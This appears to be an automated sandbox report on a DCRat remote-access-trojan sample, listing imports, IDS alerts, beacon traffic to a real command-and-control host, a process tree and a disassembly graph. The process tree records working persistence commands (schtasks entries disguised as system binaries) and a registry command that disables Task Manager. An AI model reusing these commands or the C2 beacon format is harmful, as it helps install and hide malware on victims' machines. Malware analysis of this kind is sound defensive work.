                RT_DIALOG0x6f3580x13adataEnglishUnited States0.60828025477707
                RT_DIALOG0x6f4980xecdataEnglishUnited States0.6991525423728814
                RT_DIALOG0x6f2280x12edataEnglishUnited States0.5927152317880795
                RT_DIALOG0x6eef00x338dataEnglishUnited States0.45145631067961167
                RT_DIALOG0x6ec980x252dataEnglishUnited States0.5757575757575758
                RT_STRING0x6ff680x1e2dataEnglishUnited States0.3900414937759336
                RT_STRING0x701500x1ccdataEnglishUnited States0.4282608695652174
                RT_STRING0x703200x1b8dataEnglishUnited States0.45681818181818185
                RT_STRING0x704d80x146dataEnglishUnited States0.5153374233128835
                RT_STRING0x706200x446dataEnglishUnited States0.340036563071298
                RT_STRING0x70a680x166dataEnglishUnited States0.49162011173184356
                RT_STRING0x70bd00x152dataEnglishUnited States0.5059171597633136
                RT_STRING0x70d280x10adataEnglishUnited States0.49624060150375937
                RT_STRING0x70e380xbcdataEnglishUnited States0.6329787234042553
                RT_STRING0x70ef80xd6dataEnglishUnited States0.5747663551401869
                RT_GROUP_ICON0x6ec300x68dataEnglishUnited States0.7019230769230769
                RT_MANIFEST0x6f8100x753XML 1.0 document, ASCII text, with CRLF line terminatorsEnglishUnited States0.3957333333333333

                Imports

                DLLImport
                KERNEL32.dllGetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, CreateDirectoryW, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, GetVersionExW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleFileNameW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, GetCurrentProcessId, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, SetCurrentDirectoryW, GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetTimeFormatW, GetDateFormatW, GetNumberFormatW, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, RtlUnwind, EncodePointer, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, HeapReAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage, GetOEMCP, GetCommandLineA, GetEnvironmentStringsW, FreeEnvironmentStringsW, DecodePointer
                gdiplus.dllGdiplusShutdown, GdiplusStartup, GdipCreateHBITMAPFromBitmap, GdipCreateBitmapFromStreamICM, GdipCreateBitmapFromStream, GdipDisposeImage, GdipCloneImage, GdipFree, GdipAlloc

                Possible Origin

                Language of compilation systemCountry where language is spokenMap
                EnglishUnited States

                Network Behavior

                Suricata IDS Alerts

                TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                2024-11-10T08:02:05.158568+01002034194ET MALWARE DCRAT Activity (GET)1192.168.2.6497025.101.153.4880TCP
                2024-11-10T08:02:14.061329+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow1172.202.163.200443192.168.2.649739TCP
                2024-11-10T08:02:52.678236+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow1172.202.163.200443192.168.2.649942TCP

                Network Port Distribution

                TCP Packets

                TimestampSource PortDest PortSource IPDest IP
                Nov 10, 2024 08:02:04.215576887 CET4970280192.168.2.65.101.153.48
                Nov 10, 2024 08:02:04.220534086 CET80497025.101.153.48192.168.2.6
                Nov 10, 2024 08:02:04.221667051 CET4970280192.168.2.65.101.153.48
                Nov 10, 2024 08:02:04.222573996 CET4970280192.168.2.65.101.153.48
                Nov 10, 2024 08:02:04.227375984 CET80497025.101.153.48192.168.2.6
                Nov 10, 2024 08:02:05.150333881 CET80497025.101.153.48192.168.2.6
                Nov 10, 2024 08:02:05.158567905 CET4970280192.168.2.65.101.153.48
                Nov 10, 2024 08:02:05.163440943 CET80497025.101.153.48192.168.2.6
                Nov 10, 2024 08:02:05.449997902 CET80497025.101.153.48192.168.2.6
                Nov 10, 2024 08:02:05.465636015 CET4970280192.168.2.65.101.153.48

                UDP Packets

                TimestampSource PortDest PortSource IPDest IP
                Nov 10, 2024 08:02:04.152728081 CET5990853192.168.2.61.1.1.1
                Nov 10, 2024 08:02:04.210536003 CET53599081.1.1.1192.168.2.6

                DNS Queries

                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                Nov 10, 2024 08:02:04.152728081 CET192.168.2.61.1.1.10x83a6Standard query (0)pizdi2m7.beget.techA (IP address)IN (0x0001)false

                DNS Answers

                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                Nov 10, 2024 08:02:04.210536003 CET1.1.1.1192.168.2.60x83a6No error (0)pizdi2m7.beget.tech5.101.153.48A (IP address)IN (0x0001)false

                HTTP Request Dependency Graph

                • pizdi2m7.beget.tech

                HTTP Packets

                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                0192.168.2.6497025.101.153.48804916C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe
                TimestampBytes transferredDirectionData
                Nov 10, 2024 08:02:04.222573996 CET437OUTGET /L1nc0In.php?k6HFrd=DBpCUEW5a6&c3c3a3de1c105a9ea3e5db7cb884c0c5=979b615f20ee468dab6043f75ec133fb&78a09ec9f4e412de6a9bc4970b6f7363=wNyQTZxgDOiVWOxUmNjJGM0cTMxYWZ0IWNwMmN0ITMjRzMiVmMmFzY&k6HFrd=DBpCUEW5a6 HTTP/1.1
                Accept: */*
                Content-Type: text/plain
                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
                Host: pizdi2m7.beget.tech
                Connection: Keep-Alive
                Nov 10, 2024 08:02:05.150333881 CET546INHTTP/1.1 200 OK
                Server: nginx-reuseport/1.21.1
                Date: Sun, 10 Nov 2024 07:02:04 GMT
                Content-Type: text/html
                Content-Length: 274
                Last-Modified: Thu, 29 Aug 2024 10:44:19 GMT
                Connection: keep-alive
                Keep-Alive: timeout=30
                ETag: "66d05103-112"
                Accept-Ranges: bytes
                Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 73 65 74 5f 63 6f 6f 6b 69 65 28 29 7b 76 61 72 20 6e 6f 77 20 3d 20 6e 65 77 20 44 61 74 65 28 29 3b 76 61 72 20 74 69 6d 65 20 3d 20 6e 6f 77 2e 67 65 74 54 69 6d 65 28 29 3b 74 69 6d 65 20 2b 3d 20 31 39 33 36 30 30 30 30 20 2a 20 31 30 30 30 3b 6e 6f 77 2e 73 65 74 54 69 6d 65 28 74 69 6d 65 29 3b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 27 62 65 67 65 74 3d 62 65 67 65 74 6f 6b 27 2b 27 3b 20 65 78 70 69 72 65 73 3d 27 2b 6e 6f 77 2e 74 6f 47 4d 54 53 74 72 69 6e 67 28 29 2b 27 3b 20 70 61 74 68 3d 2f 27 3b 7d 73 65 74 5f 63 6f 6f 6b 69 65 28 29 3b 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 3b 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                Data Ascii: <html><head><script>function set_cookie(){var now = new Date();var time = now.getTime();time += 19360000 * 1000;now.setTime(time);document.cookie='beget=begetok'+'; expires='+now.toGMTString()+'; path=/';}set_cookie();location.reload();;</script></head><body></body></html>
                Nov 10, 2024 08:02:05.158567905 CET413OUTGET /L1nc0In.php?k6HFrd=DBpCUEW5a6&c3c3a3de1c105a9ea3e5db7cb884c0c5=979b615f20ee468dab6043f75ec133fb&78a09ec9f4e412de6a9bc4970b6f7363=wNyQTZxgDOiVWOxUmNjJGM0cTMxYWZ0IWNwMmN0ITMjRzMiVmMmFzY&k6HFrd=DBpCUEW5a6 HTTP/1.1
                Accept: */*
                Content-Type: text/plain
                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
                Host: pizdi2m7.beget.tech
                Nov 10, 2024 08:02:05.449997902 CET546INHTTP/1.1 200 OK
                Server: nginx-reuseport/1.21.1
                Date: Sun, 10 Nov 2024 07:02:05 GMT
                Content-Type: text/html
                Content-Length: 274
                Last-Modified: Thu, 29 Aug 2024 10:44:19 GMT
                Connection: keep-alive
                Keep-Alive: timeout=30
                ETag: "66d05103-112"
                Accept-Ranges: bytes
                Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 73 65 74 5f 63 6f 6f 6b 69 65 28 29 7b 76 61 72 20 6e 6f 77 20 3d 20 6e 65 77 20 44 61 74 65 28 29 3b 76 61 72 20 74 69 6d 65 20 3d 20 6e 6f 77 2e 67 65 74 54 69 6d 65 28 29 3b 74 69 6d 65 20 2b 3d 20 31 39 33 36 30 30 30 30 20 2a 20 31 30 30 30 3b 6e 6f 77 2e 73 65 74 54 69 6d 65 28 74 69 6d 65 29 3b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 27 62 65 67 65 74 3d 62 65 67 65 74 6f 6b 27 2b 27 3b 20 65 78 70 69 72 65 73 3d 27 2b 6e 6f 77 2e 74 6f 47 4d 54 53 74 72 69 6e 67 28 29 2b 27 3b 20 70 61 74 68 3d 2f 27 3b 7d 73 65 74 5f 63 6f 6f 6b 69 65 28 29 3b 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 3b 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                Data Ascii: <html><head><script>function set_cookie(){var now = new Date();var time = now.getTime();time += 19360000 * 1000;now.setTime(time);document.cookie='beget=begetok'+'; expires='+now.toGMTString()+'; path=/';}set_cookie();location.reload();;</script></head><body></body></html>


                Statistics

                CPU Usage

                Click to jump to process

                Memory Usage

                Click to jump to process

                High Level Behavior Distribution

                Click to dive into process behavior distribution

                Behavior

                Click to jump to process

                System Behavior

                General

                Target ID:0
                Start time:02:01:53
                Start date:10/11/2024
                Path:C:\Users\user\Desktop\GNUCXbYadp.exe
                Wow64 process (32bit):true
                Commandline:"C:\Users\user\Desktop\GNUCXbYadp.exe"
                Imagebase:0xee0000
                File size:1'993'612 bytes
                MD5 hash:4CC23344D26C44260CB52028CFF992B7
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Reputation:low
                Has exited:true

                General

                Target ID:2
                Start time:02:01:53
                Start date:10/11/2024
                Path:C:\Windows\SysWOW64\wscript.exe
                Wow64 process (32bit):true
                Commandline:"C:\Windows\System32\WScript.exe" "C:\BrowserreviewSavesruntimeperf\cyoW9TDLPAWUwl12Pv6zflv.vbe"
                Imagebase:0x800000
                File size:147'456 bytes
                MD5 hash:FF00E0480075B095948000BDC66E81F0
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Reputation:high
                Has exited:true

                General

                Target ID:3
                Start time:02:01:53
                Start date:10/11/2024
                Path:C:\Windows\SysWOW64\wscript.exe
                Wow64 process (32bit):true
                Commandline:"C:\Windows\System32\WScript.exe" "C:\BrowserreviewSavesruntimeperf\file.vbs"
                Imagebase:0x800000
                File size:147'456 bytes
                MD5 hash:FF00E0480075B095948000BDC66E81F0
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Reputation:high
                Has exited:true

                General

                Target ID:4
                Start time:02:01:57
                Start date:10/11/2024
                Path:C:\Windows\SysWOW64\cmd.exe
                Wow64 process (32bit):true
                Commandline:C:\Windows\system32\cmd.exe /c ""C:\BrowserreviewSavesruntimeperf\4COnkcqgLamz7kP5YHD7l4vjV.bat" "
                Imagebase:0x1c0000
                File size:236'544 bytes
                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Reputation:high
                Has exited:true

                General

                Target ID:5
                Start time:02:01:57
                Start date:10/11/2024
                Path:C:\Windows\System32\conhost.exe
                Wow64 process (32bit):false
                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                Imagebase:0x7ff66e660000
                File size:862'208 bytes
                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Reputation:high
                Has exited:true

                General

                Target ID:6
                Start time:02:01:57
                Start date:10/11/2024
                Path:C:\BrowserreviewSavesruntimeperf\Blockreview.exe
                Wow64 process (32bit):false
                Commandline:"C:\BrowserreviewSavesruntimeperf\Blockreview.exe"
                Imagebase:0xde0000
                File size:1'676'288 bytes
                MD5 hash:3298254972DFD7E76172F9D3A7675B27
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Yara matches:
                • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000006.00000002.2167631819.0000000003548000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000006.00000002.2167631819.0000000003251000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000006.00000002.2171805971.000000001325D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                Antivirus matches:
                • Detection: 100%, Avira
                • Detection: 100%, Joe Sandbox ML
                • Detection: 81%, ReversingLabs
                Reputation:low
                Has exited:true

                General

                Target ID:11
                Start time:02:02:00
                Start date:10/11/2024
                Path:C:\Windows\System32\schtasks.exe
                Wow64 process (32bit):false
                Commandline:schtasks.exe /create /tn "wHkwzSlnBiGJprfYEurbfsdoSvkjw" /sc MINUTE /mo 10 /tr "'C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe'" /f
                Imagebase:0x7ff652080000
                File size:235'008 bytes
                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Reputation:high
                Has exited:true

                General

                Target ID:12
                Start time:02:02:00
                Start date:10/11/2024
                Path:C:\Windows\System32\schtasks.exe
                Wow64 process (32bit):false
                Commandline:schtasks.exe /create /tn "wHkwzSlnBiGJprfYEurbfsdoSvkj" /sc ONLOGON /tr "'C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe'" /rl HIGHEST /f
                Imagebase:0x7ff652080000
                File size:235'008 bytes
                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Reputation:high
                Has exited:true

                General

                Target ID:13
                Start time:02:02:00
                Start date:10/11/2024
                Path:C:\Windows\System32\schtasks.exe
                Wow64 process (32bit):false
                Commandline:schtasks.exe /create /tn "wHkwzSlnBiGJprfYEurbfsdoSvkjw" /sc MINUTE /mo 10 /tr "'C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe'" /rl HIGHEST /f
                Imagebase:0x7ff652080000
                File size:235'008 bytes
                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Reputation:high
                Has exited:true

                General

                Target ID:14
                Start time:02:02:00
                Start date:10/11/2024
                Path:C:\Windows\System32\schtasks.exe
                Wow64 process (32bit):false
                Commandline:schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 8 /tr "'C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe'" /f
                Imagebase:0x7ff652080000
                File size:235'008 bytes
                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Reputation:high
                Has exited:true

                General

                Target ID:15
                Start time:02:02:00
                Start date:10/11/2024
                Path:C:\Windows\System32\schtasks.exe
                Wow64 process (32bit):false
                Commandline:schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe'" /rl HIGHEST /f
                Imagebase:0x7ff652080000
                File size:235'008 bytes
                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Reputation:high
                Has exited:true

                General

                Target ID:16
                Start time:02:02:00
                Start date:10/11/2024
                Path:C:\Windows\System32\schtasks.exe
                Wow64 process (32bit):false
                Commandline:schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 14 /tr "'C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe'" /rl HIGHEST /f
                Imagebase:0x7ff652080000
                File size:235'008 bytes
                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Reputation:high
                Has exited:true

                General

                Target ID:17
                Start time:02:02:00
                Start date:10/11/2024
                Path:C:\Windows\System32\schtasks.exe
                Wow64 process (32bit):false
                Commandline:schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 12 /tr "'C:\Users\Default\Videos\winlogon.exe'" /f
                Imagebase:0x7ff652080000
                File size:235'008 bytes
                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Reputation:high
                Has exited:true

                General

                Target ID:18
                Start time:02:02:00
                Start date:10/11/2024
                Path:C:\Windows\System32\schtasks.exe
                Wow64 process (32bit):false
                Commandline:schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Users\Default\Videos\winlogon.exe'" /rl HIGHEST /f
                Imagebase:0x7ff652080000
                File size:235'008 bytes
                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Has exited:true

                General

                Target ID:19
                Start time:02:02:00
                Start date:10/11/2024
                Path:C:\Windows\System32\schtasks.exe
                Wow64 process (32bit):false
                Commandline:schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 8 /tr "'C:\Users\Default\Videos\winlogon.exe'" /rl HIGHEST /f
                Imagebase:0x7ff652080000
                File size:235'008 bytes
                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Has exited:true

                General

                Target ID:20
                Start time:02:02:00
                Start date:10/11/2024
                Path:C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe
                Wow64 process (32bit):false
                Commandline:"C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe"
                Imagebase:0x3d0000
                File size:1'676'288 bytes
                MD5 hash:3298254972DFD7E76172F9D3A7675B27
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Yara matches:
                • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000014.00000002.2195019293.0000000002811000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                Antivirus matches:
                • Detection: 100%, Avira
                • Detection: 100%, Joe Sandbox ML
                • Detection: 81%, ReversingLabs
                Has exited:true

                General

                Target ID:23
                Start time:02:02:02
                Start date:10/11/2024
                Path:C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe
                Wow64 process (32bit):false
                Commandline:C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe
                Imagebase:0x4f0000
                File size:1'676'288 bytes
                MD5 hash:3298254972DFD7E76172F9D3A7675B27
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Yara matches:
                • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000017.00000002.2286343002.0000000002851000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                Antivirus matches:
                • Detection: 100%, Avira
                • Detection: 100%, Joe Sandbox ML
                • Detection: 81%, ReversingLabs
                Has exited:true

                General

                Target ID:24
                Start time:02:02:02
                Start date:10/11/2024
                Path:C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe
                Wow64 process (32bit):false
                Commandline:C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe
                Imagebase:0xe10000
                File size:1'676'288 bytes
                MD5 hash:3298254972DFD7E76172F9D3A7675B27
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Yara matches:
                • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000018.00000002.2285548117.00000000032B1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                Has exited:true

                General

                Target ID:28
                Start time:02:02:12
                Start date:10/11/2024
                Path:C:\Windows\SysWOW64\reg.exe
                Wow64 process (32bit):true
                Commandline:reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                Imagebase:0x710000
                File size:59'392 bytes
                MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Has exited:true

                Disassembly

                Reset < >

                  Execution Graph

                  Execution Coverage:9.7%
                  Dynamic/Decrypted Code Coverage:0%
                  Signature Coverage:9.3%
                  Total number of Nodes:1490
                  Total number of Limit Nodes:31
                  execution_graph 24823 f014f8 RaiseException 22917 efaee0 22918 efaeea __EH_prolog 22917->22918 23080 ee130b 22918->23080 22921 efaf2c 22924 efaf39 22921->22924 22925 efafa2 22921->22925 22985 efaf18 22921->22985 22922 efb5cb 23158 efcd2e 22922->23158 22930 efaf3e 22924->22930 22931 efaf75 22924->22931 22929 efb041 GetDlgItemTextW 22925->22929 22935 efafbc 22925->22935 22927 efb5e9 SendMessageW 22928 efb5f7 22927->22928 22933 efb611 GetDlgItem SendMessageW 22928->22933 22934 efb600 SendDlgItemMessageW 22928->22934 22929->22931 22932 efb077 22929->22932 22940 eeddd1 53 API calls 22930->22940 22930->22985 22936 efaf96 KiUserCallbackDispatcher 22931->22936 22931->22985 22937 efb08f GetDlgItem 22932->22937 23078 efb080 22932->23078 23176 ef9da4 GetCurrentDirectoryW 22933->23176 22934->22933 22939 eeddd1 53 API calls 22935->22939 22936->22985 22942 efb0c5 SetFocus 22937->22942 22943 efb0a4 SendMessageW SendMessageW 22937->22943 22944 efafde SetDlgItemTextW 22939->22944 22945 efaf58 22940->22945 22941 efb641 GetDlgItem 22946 efb65e 22941->22946 22947 efb664 SetWindowTextW 22941->22947 22948 efb0d5 22942->22948 22960 efb0ed 22942->22960 22943->22942 22949 efafec 22944->22949 23198 ee1241 SHGetMalloc 22945->23198 22946->22947 23177 efa2c7 GetClassNameW 22947->23177 22953 eeddd1 53 API calls 22948->22953 22958 efaff9 GetMessageW 22949->22958 22949->22985 22951 efb56b 22955 eeddd1 53 API calls 22951->22955 22957 efb0df 22953->22957 22954 efaf5f 22959 efaf63 SetDlgItemTextW 22954->22959 22954->22985 22961 efb57b SetDlgItemTextW 22955->22961 23199 efcb5a 22957->23199 22964 efb010 IsDialogMessageW 22958->22964 22958->22985 22959->22985 22968 eeddd1 53 API calls 22960->22968 22965 efb58f 22961->22965 22964->22949 22967 efb01f TranslateMessage DispatchMessageW 22964->22967 22970 eeddd1 53 API calls 22965->22970 22967->22949 22969 efb124 22968->22969 22973 ee400a _swprintf 51 API calls 22969->22973 22974 efb5b8 22970->22974 22971 efb6af 22972 efb6df 22971->22972 22978 eeddd1 53 API calls 22971->22978 22984 efbdf5 98 API calls 22972->22984 23028 efb797 22972->23028 22979 efb136 22973->22979 22980 eeddd1 53 API calls 22974->22980 22975 efb0e6 23090 eea04f 22975->23090 22977 efbdf5 98 API calls 22977->22971 22982 efb6c2 SetDlgItemTextW 22978->22982 22983 efcb5a 16 API calls 22979->22983 22980->22985 22990 eeddd1 53 API calls 22982->22990 22983->22975 22991 efb6fa 22984->22991 22986 efb847 22992 efb859 22986->22992 22993 efb850 EnableWindow 22986->22993 22987 efb17f 23096 efa322 SetCurrentDirectoryW 22987->23096 22988 efb174 GetLastError 22988->22987 22996 efb6d6 SetDlgItemTextW 22990->22996 23002 efb70c 22991->23002 23016 efb731 22991->23016 22994 efb876 22992->22994 23217 ee12c8 GetDlgItem EnableWindow 22992->23217 22993->22992 23001 efb89d 22994->23001 23008 efb895 SendMessageW 22994->23008 22995 efb195 22999 efb19e GetLastError 22995->22999 23000 efb1ac 22995->23000 22996->22972 22998 efb78a 23004 efbdf5 98 API calls 22998->23004 22999->23000 23007 efb227 23000->23007 23012 efb237 23000->23012 23013 efb1c4 GetTickCount 23000->23013 23001->22985 23009 eeddd1 53 API calls 23001->23009 23215 ef9635 32 API calls 23002->23215 23003 efb86c 23218 ee12c8 GetDlgItem EnableWindow 23003->23218 23004->23028 23011 efb46c 23007->23011 23007->23012 23008->23001 23015 efb8b6 SetDlgItemTextW 23009->23015 23010 efb725 23010->23016 23115 ee12e6 GetDlgItem ShowWindow 23011->23115 23018 efb24f GetModuleFileNameW 23012->23018 23019 efb407 23012->23019 23097 ee400a 23013->23097 23014 efb825 23216 ef9635 32 API calls 23014->23216 23015->22985 23016->22998 23023 efbdf5 98 API calls 23016->23023 23209 eeeb3a 80 API calls 23018->23209 23019->22931 23032 eeddd1 53 API calls 23019->23032 23022 eeddd1 53 API calls 23022->23028 23029 efb75f 23023->23029 23024 efb47c 23116 ee12e6 GetDlgItem ShowWindow 23024->23116 23026 efb1dd 23100 ee971e 23026->23100 23027 efb844 23027->22986 23028->22986 23028->23014 23028->23022 23029->22998 23033 efb768 DialogBoxParamW 23029->23033 23031 efb275 23035 ee400a _swprintf 51 API calls 23031->23035 23036 efb41b 23032->23036 23033->22931 23033->22998 23034 efb486 23117 eeddd1 23034->23117 23038 efb297 CreateFileMappingW 23035->23038 23039 ee400a _swprintf 51 API calls 23036->23039 23042 efb2f9 GetCommandLineW 23038->23042 23074 efb376 __vsnwprintf_l 23038->23074 23043 efb439 23039->23043 23047 efb30a 23042->23047 23054 eeddd1 53 API calls 23043->23054 23044 efb203 23048 efb20a GetLastError 23044->23048 23049 efb215 23044->23049 23045 efb381 ShellExecuteExW 23069 efb39e 23045->23069 23210 efab2e SHGetMalloc 23047->23210 23048->23049 23108 ee9653 23049->23108 23052 efb4a2 SetDlgItemTextW GetDlgItem 23055 efb4bf GetWindowLongW SetWindowLongW 23052->23055 23056 efb4d7 23052->23056 23053 efb326 23211 efab2e SHGetMalloc 23053->23211 23054->22931 23055->23056 23121 efbdf5 23056->23121 23060 efb332 23212 efab2e SHGetMalloc 23060->23212 23061 efb3e1 23061->23019 23068 efb3f7 UnmapViewOfFile CloseHandle 23061->23068 23062 efbdf5 98 API calls 23064 efb4f3 23062->23064 23146 efd0f5 23064->23146 23065 efb33e 23213 eeecad 80 API calls ___scrt_fastfail 23065->23213 23068->23019 23069->23061 23072 efb3cd Sleep 23069->23072 23071 efb355 MapViewOfFile 23071->23074 23072->23061 23072->23069 23073 efbdf5 98 API calls 23077 efb519 23073->23077 23074->23045 23075 efb542 23214 ee12c8 GetDlgItem EnableWindow 23075->23214 23077->23075 23079 efbdf5 98 API calls 23077->23079 23078->22931 23078->22951 23079->23075 23081 ee136d 23080->23081 23082 ee1314 23080->23082 23220 eeda71 GetWindowLongW SetWindowLongW 23081->23220 23083 ee137a 23082->23083 23219 eeda98 62 API calls 2 library calls 